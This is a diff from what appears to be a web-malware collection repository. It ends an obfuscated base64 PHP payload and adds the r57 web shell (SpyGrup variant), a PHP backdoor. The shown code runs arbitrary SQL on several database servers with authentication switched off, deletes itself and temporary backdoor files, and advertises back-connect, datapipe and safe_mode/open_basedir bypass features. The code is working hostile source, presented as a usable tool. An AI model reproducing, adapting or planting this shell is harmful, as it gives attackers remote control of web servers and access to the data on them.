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'))); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57.mod-bizzz.shell.txt b/web-malware-collection-master/Backdoors/PHP/r57.mod-bizzz.shell.txt new file mode 100755 index 0000000..3d7547b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57.mod-bizzz.shell.txt @@ -0,0 +1,1889 @@ +<?php +/******************************************************************************************************/ +/* +/* +/* ssssssss pppp pppp yyyyyy yyyyyy gggg gggg rrrr rrrr uuuu uuuu pppp pppp +/* ss pppp pp yy yy gg gggg rrrr uu uu pppp pp +/* ssssss pp pp yy yy gg gg rr uu uu pp pp +/* ss pp pp yy yy gg gg rr uu uuuu pp pp +/* ssssssss pppppppp yy gggggggg rrrrrrrr uuuu uuuu pppppppp +/* pp yy gg pp +/* pppppp yyyyyy gggggg pppppp +/* +/* admin@spygrup.org[Kruis] - yaduris@spygrup.org[YaduriS] +/* +/* +/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? +/* ??????: 1.23 +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/******************************************************************************************************/ + +/* ~~~ ????????? ~~~ */ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "SpyGrup.Org SpeciaL"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +/* ~~~ ?????????????? ~~~ */ + +// $auth = 1; - ?????????????? ???????? +// $auth = 0; - ?????????????? ????????? +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! +$name='teufel'; // ????? ???????????? +$pass='spyms'; // ?????? ???????????? + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://www.spygrup.org>www.spygrup.org</a> : Access Denied</b>"); + } +} +$head = '<!-- ?????????? ???? --> +<html> +<head> +<title>shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo "</table><br>"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "<form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +/* +????? ????? +$language='eng' - ??????? +$language='ru' - ?????????? +*/ +$language='eng'; +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', 